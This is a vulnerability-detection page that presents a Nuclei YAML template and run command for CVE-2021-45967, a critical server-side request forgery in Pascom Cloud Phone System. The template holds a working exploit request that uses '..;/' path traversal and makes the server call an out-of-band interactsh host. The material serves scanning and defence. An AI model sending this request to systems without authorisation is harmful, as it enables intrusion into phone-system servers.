Pascom CPS Server-Side Request Forgery

ID: CVE-2021-45967

Severity: critical

Author: dwisiswant0

Tags: cve,cve2021,pascom,ssrf,pascom_cloud_phone_system

Description

Pascom versions before 7.20 packaged with Cloud Phone System contain a known server-side request forgery vulnerability.

YAML Source

id: CVE-2021-45967

info:
  name: Pascom CPS Server-Side Request Forgery
  author: dwisiswant0
  severity: critical
  description: Pascom versions before 7.20 packaged with Cloud Phone System contain a known server-side request forgery vulnerability.
  impact: |
    The vulnerability can result in unauthorized access to sensitive data or systems, potentially leading to further exploitation or compromise.
  remediation: |
    Apply the latest security patches or updates provided by Pascom to fix the Server-Side Request Forgery vulnerability (CVE-2021-45967).
  reference:
    - https://kerbit.io/research/read/blog/4
    - https://www.pascom.net/doc/en/release-notes/
    - https://tutorialboy24.blogspot.com/2022/03/the-story-of-3-bugs-that-lead-to.html
    - https://www.pascom.net/doc/en/release-notes/pascom19/
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-45967
    cwe-id: CWE-22
    epss-score: 0.72601
    epss-percentile: 0.98001
    cpe: cpe:2.3:a:pascom:cloud_phone_system:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: pascom
    product: cloud_phone_system
  tags: cve,cve2021,pascom,ssrf,pascom_cloud_phone_system

http:
  - method: GET
    path:
      - "{{BaseURL}}/services/pluginscript/..;/..;/..;/getFavicon?host={{interactsh-url}}"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: status
        status:
          - 200
# digest: 490a00463044022064ae7462131dbc2cb46b41c72e45085df2d0bc320108705acb2f6dacc01b4778022058a364cd6b65b0203e86cdfd48522443bd1f81cc4f5dd95aad6a623b3cb6d522:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-45967.yaml"

View on Github